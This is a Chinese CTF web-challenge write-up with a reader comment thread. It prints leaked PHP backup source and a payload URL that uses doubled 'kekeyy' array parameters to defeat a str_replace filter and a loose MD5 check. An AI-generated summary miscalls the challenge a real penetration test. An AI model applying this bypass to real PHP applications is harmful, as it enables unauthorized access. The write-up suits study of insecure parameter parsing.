AI智能摘要
你有没有因为“备份”捅出过意外的窗?这篇文章用一次真实渗透测试里的bak备份文件揭开漏洞链:作者找到了index.php.bak,分析出通过解析URL参数并比较MD5但不严格等值的逻辑缺陷,构造数组型payload即可绕过验证拿到flag。文中还配有日志截图还原备份过程,适合想学实战漏洞挖掘、理解PHP参数解析与哈希比较陷阱的读者,教你在看似良好习惯的背后发现安全隐患。
— AI 生成的文章内容摘要
根据提示,应该是有备份文件,扫一波。。。

发现了一个bak文件,打开进行代码分析。。。
<?php /** * Created by PhpStorm. * User: Norse * Date: 2017/8/6 * Time: 20:22 */ include_once "flag.php"; ini_set("display_errors", 0); $str = strstr($_SERVER['REQUEST_URI'], '?'); //获取URL?及后面的所有参数赋给$str $str = substr($str,1); //获取$str从1及1后面的所有参数,也就是去掉? $str = str_replace('key','',$str); //将$str 中‘key’替换为空 parse_str($str); //将字符进行变量处理,也叫字符解析 echo md5($key1); //打印key1的MD5 echo md5($key2); //打印key2的MD5 if(md5($key1) == md5($key2) && $key1 !== $key2){ //如果key1的MD5 等于 key2的MD5 并且 key1的值不等于key2值 echo $flag."取得flag"; //打印flag } ?>
构造payload:http://123.206.87.240:8002/web16/index.php?kekeyy1[]=111&kekeyy2[]=222


江苏省无锡市 1F
这备份文件也太显眼了吧,一眼就看到了😂
台湾省 B1
@ 风信子语 显眼得跟霓虹灯似的,扫目录直接蹦出来,藏都不藏
四川省内江市 2F
这题纯考细节,新手根本扛不住😭
马来西亚 3F
看到2017年的代码就懂了,老套路了
福建省福州市 4F
payload里不加中括号变不了数组,md5比较就失效了
北京市 5F
kekeyy1和kekeyy2是几个意思?看不懂求解释
上海市 B1
@ 梦之彼方 kekeyy是利用str_replace只删一次”key”,所以变成key了
菲律宾 6F
之前搞过类似题,也是靠bak拿flag,套路熟了
台湾省 7F
MD5碰撞还能这么玩?不过代码真够绕的
北京市 B1
@ 赤血穷奇 MD5碰撞用数组确实骚,但2017年就这么写了?
河南省周口市 8F
flag.php都include了,直接读不就完了
湖北省咸宁市 B1
@ 行者小星 直接读flag.php?想得美,人家早关了错误提示还过滤了
日本 9F
数组绕过是经典操作了,但新手容易懵
广东省揭阳市 10F
我去,这代码date是2017年的?老项目了啊
江苏省盐城市 11F
str_replace只替换key,那用kekeyy不就绕过了
天津市 12F
感觉还行,就是payload构造有点绕
日本 13F
那个啥,有人试过用其他参数触发吗?
湖南省长沙市 B1
@ 幻影流沙 试过传key1=1&key2=2,根本进不去,必须绕replace
浙江省衢州市 B1
@ 幻影流沙 试过加key3=xxx,结果直接报错,估计只认key1和key2
北京市 B1
@ 幻影流沙 试过传key1=0&key2=0,结果不行,必须数组绕过
印度 14F
kekeyy这操作笑死,str_replace只删一次呗
北京市 15F
之前做题也遇到bak泄露,结果卡在parse_str半天
广东省广州市 16F
payload里写kekeyy1[]是故意的吧?不然变不了数组
重庆市 17F
这代码看着就头大,又是substr又是replace的
江苏省无锡市 18F
老项目了难怪漏洞这么明显,现在谁还这么写啊
韩国 19F
备份文件3788字节?原文件才648?有点离谱🤔
韩国 B1
@ 话多小风 原文件648备份3788?怕不是把整个项目都打包进去了吧
中国 20F
构造参数时漏了[]就白跑,坑死我了😭
上海市 21F
str_replace只删一次”key”,所以kekeyy能变成key,这操作太阴了
浙江省杭州市 22F
漏写[]真会气死,本地跑半天才发现是字符串比较
上海市普陀区 23F
看到2017年的代码瞬间安心了,老漏洞玩得飞起
北京市 24F
parse_str自动注册变量这功能早该废了,坑了多少人
越南 25F
之前也栽在bak上,结果发现flag.php根本读不了,白高兴
中国 26F
MD5碰撞不用真碰撞,数组绕过就行,但新手哪想得到
北京市 27F
这题纯考细节,少一个中括号就GG,烦死了
河南省信阳市 28F
这代码也太老了吧,2017年的项目现在还在用?
湖南省怀化市 29F
kekeyy这操作太骚了,双写绕过玩得溜啊
韩国 30F
备份文件比原文件大这么多?有点奇怪
中国 31F
数组绕过确实经典,但新手真容易踩坑
山东省德州市 32F
payload构造好麻烦,少个中括号就白跑
江苏省南通市 B1
@ 娜美 漏个[]就白跑,调试到想砸键盘
浙江省杭州市 33F
之前遇到过类似题,也是bak泄露拿flag
台湾省台北市 34F
parse_str这函数现在很少用了,安全隐患太大
湖北省武汉市 35F
flag.php都包含了为啥还要绕这么大圈子?
四川省广安市 36F
MD5碰撞还能这么玩?学到了新姿势
马来西亚 B1
@ 上头姐妹 这哪是MD5碰撞啊,纯属数组类型绕过,别被标题骗了
福建省龙岩市 37F
bak文件这么明显,管理员都不清理的吗?
印度 38F
老项目漏洞就是多,现在谁还这么写代码
中国 B1
@ Storm风暴 现在谁还把bak放web目录啊,心真大
黑龙江省牡丹江市绥芬河市 39F
双写绕过确实巧妙,但代码可读性太差了
福建省福州市 40F
这题对新手不太友好,细节太多容易漏
浙江省温州市 41F
数组参数少个括号就全白给,太坑了
山东省济南市 42F
备份习惯很重要,但bak放web目录也太草率了
山东省青岛市 43F
str_replace只替换一次,这特性挺容易被利用的
浙江省杭州市 44F
看到2017年代码就头疼,老漏洞集锦啊
广东省珠海市 45F
payload里kekeyy1[]这写法,不加中括号不行吗?
北京市 46F
之前做CTF也栽在bak上,白高兴一场
江西省鹰潭市 47F
代码绕来绕去的,看得头晕
福建省福州市 48F
bak文件比原文件大这么多,管理员心真大
台湾省台中市 49F
这个双写绕过的思路挺有意思的
北京市 50F
flag.php都包含了还这么折腾,何必呢
云南省昆明市 51F
payload里加中括号是为了变数组?🤔
广西南宁市 B1
@ 莉莉子 不加中括号就是字符串,md5比较会严格相等,没法绕
广东省深圳市南山区 52F
这个双写绕过的脑回路可以啊
湖北省武汉市 B1
@ VelvetThunder 这绕法挺巧妙的
澳大利亚 53F
2017年的代码现在还在用,太老了
上海市 54F
之前遇到过类似情况,bak文件直接暴露源码
安徽省铜陵市 55F
为啥要echo两次md5,感觉有点多余
湖北省武汉市 56F
这题对新手确实不太友好,细节太多了
北京市 57F
kekeyy这种写法第一次见,挺巧妙的
印度尼西亚 58F
备份文件放web根目录,安全意识堪忧
韩国 59F
这题考的是str_replace的坑吧,双写就能绕过去🤔
湖北省襄阳市 60F
bak文件这么明显还放那,管理员心真大
广东省广州市 61F
数组绕过是老套路了,但kekeyy这写法第一次见
上海市 62F
payload构造太绕了,差个括号就白跑😭
山东省临沂市 63F
为啥要echo两次md5啊,感觉完全没必要
湖南省郴州市 64F
看到2017年的代码就感觉是老题了,套路都一样
江苏省盐城市建湖县 65F
flag.php都包含了还整这么复杂,直接读不行吗
江苏省无锡市 66F
这题细节真多,漏一个就卡住
福建省南平市 67F
双写绕过挺巧妙的,但代码可读性太差了
越南 68F
parse_str现在还在用?安全隐患太大了
中国 69F
kekeyy这写法太阴了,str_replace只删一次真坑
中国 70F
之前也踩过bak的坑,flag.php根本读不了白高兴
陕西省西安市 71F
payload少个[]就白跑,调试到崩溃😭
吉林省长春市 72F
2017年的老题了,现在谁还这么写代码?
江苏省徐州市 73F
备份放web目录也是没谁了,管理员睡着了吧
黑龙江省哈尔滨市 74F
为啥要echo两次md5?纯属干扰视线吧
印度 75F
这payload绕得真够花哨的
山东省潍坊市 B1
@ RumblePaws 把key拆开那段真的绕
山东省淄博市 76F
双写绕过确实骚,但新手根本想不到啊